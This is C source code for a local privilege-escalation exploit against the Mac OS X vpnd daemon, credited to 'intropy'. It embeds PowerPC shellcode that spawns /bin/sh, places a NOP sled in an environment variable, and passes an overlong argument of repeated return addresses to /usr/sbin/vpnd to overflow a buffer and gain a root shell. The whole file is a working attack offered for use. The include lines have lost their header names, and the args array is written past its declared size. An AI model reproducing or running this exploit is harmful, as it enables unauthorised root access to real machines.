/* * * Mac OS X vpnd root exploit * * intropy (intropy caughq.org) * */ #include #include #include #include #define DEBUG 1 #define BUFFERSIZE 2048 #define EGGSIZE 2048 #define NOP 0x60 #define ADDRESS 0xbffffffe - (BUFFERSIZE/2) /* ghandi */ char shellcode_binsh[] = "\x7c\xa5\x2a\x79" /* xor. r5, r5, r5 ; r5 = NULL */ "\x40\xa2\xff\xfd" /* bnel shellcode */ "\x7f\xe8\x02\xa6" /* mflr r31 */ "\x3b\xff\x01\x30" /* addi r31, r31, 268+36 */ "\x38\x7f\xfe\xf4" /* addi r3, r31, -268 ; r3 = path */ "\x90\x61\xff\xf8" /* stw r3, -8(r1) ; argv[0] = path */ "\x90\xa1\xff\xfc" /* stw r5, -4(r1) ; argv[1] = NULL */ "\x38\x81\xff\xf8" /* subi r4, r1, 8 ; r4 = {path, 0} */ "\x3b\xc0\x76\x01" /* li r30, 30209 */ "\x7f\xc0\x4e\x70" /* srawi r0, r30, 9 */ "\x44\xff\xff\x02" /* sc ; execve(r3, r4, r5) */ "/bin/sh" ; unsigned long cex_load_environment(char *env_buffer, char *address_buffer, char *payload, int environment_size, int buffer_size) { int count, env_size = strlen(payload) + environment_size + 4 + 1; unsigned long address, *ret_addressp; if (DEBUG) printf("Adding nops to environment buffer..."); for ( count = 0; count < env_size - strlen(payload) - 1; count++ ) { *(env_buffer++) = NOP; } if (DEBUG) printf("size %d...\n", count); if (DEBUG) printf("Adding payload to environment buffer..."); for ( count = 0; count < strlen(payload); count++ ) { *(env_buffer++) = payload[count]; } if (DEBUG) printf("size %d...\n", count); env_buffer[env_size - 1] = '\0'; memcpy(env_buffer, "CAU=", 4); memset(address_buffer, 'A', buffer_size); address = ADDRESS; if (DEBUG) printf("Going for address @ 0x%lx\n", address); if (DEBUG) printf("Adding return address to buffer..."); ret_addressp = (unsigned long *)(address_buffer+3); for ( count = 0; count < buffer_size; count += 4) { *(ret_addressp++) = address; } if (DEBUG) printf("size %d...\n", count); address_buffer[buffer_size - 1] = '\0'; return( 0 ); } int main() { char *buffer, *egg; char *args[3], *envs[2]; buffer = (char *)malloc(BUFFERSIZE); egg = (char *)malloc(EGGSIZE); cex_load_environment(egg, buffer, (char *)&shellcode_binsh, EGGSIZE, BUFFERSIZE); args[0] = "/usr/sbin/vpnd"; args[1] = "-i"; args[2] = buffer; args[3] = NULL; envs[0] = egg; envs[1] = NULL; execve( "/usr/sbin/vpnd", args, envs ); return( 0 ); }